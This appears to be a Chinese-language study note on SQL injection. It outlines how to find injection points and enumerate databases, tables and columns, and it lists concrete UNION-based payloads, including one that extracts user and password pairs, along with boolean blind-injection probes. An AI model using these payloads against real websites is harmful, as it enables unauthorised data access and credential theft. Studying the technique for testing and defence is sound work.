#笔记(十六)#SQL注入(再整理)
分类:
文章
•
2024-03-16 12:02:16
基础流程
- 判断注入点
- and1=1/and 1=2回显页面不同
- 常用注释符
--
, /* .... */
, #
, .
,;%00
,\
- -1/+1回显下一个或上一个页面
-
+
在url中有特殊含义,需要对其进行URL编码%2b
- 判断数字型or字符型
- 数字型不需要引号闭合
- 数字:select * from table where id=1
- 字符:select * from table where username=‘admin’
- 不同分类进行注入
- 可联合查询注入
- 报错型注入
- 基于布尔型注入
- 基于时间延迟注入
- 盲注
- 常用信息及语句
- 常用流程
- 判断类型
- 查询列数
- 爆库
- 爆表
- 爆字段
- 获取字段中数据
UNION注入
- 猜字段长度
order by
- 举例:
id=1 order by 2
正常,id=1 order by 3
错误,字段为2
- 爆字段位置
1 and 1=2 UNION SELECT 1,2
id=-1 UNION SELECT 1,2,3#
- 爆库
id=1' union select 1,2,database()#
id=1' union select 1,2,(select schema_name from information_schema.schemata limit 0,1)#
- 爆表
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 爆列
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' #
- 查询数据
- 1’ union select 1,concat(user,":",password) from 表名#
关于报错
盲注
- 盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
- 一些函数
- if(condition,a,b)
- 当condition为true的时候,返回a,当condition为false的时候,返回b。
- ascii(str)
- substr(str,start,len)
- 通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。
- length(str)
- 获取str的长度的
- 得知需要通过substr取到哪个下标。
- count([column])
- 用来统计记录的数量的
- 主要用于判断符合条件的记录的数量,并逐个**。
- 例如:
id=1' and (select length(database())>1) and '1'='1
id=1' and ((select ascii(substr(database(),1,1)))>32) and '1'='1
补充
参考博客
- 一些绕过小技巧
- https://blog.****.net/july07070707/article/details/80265571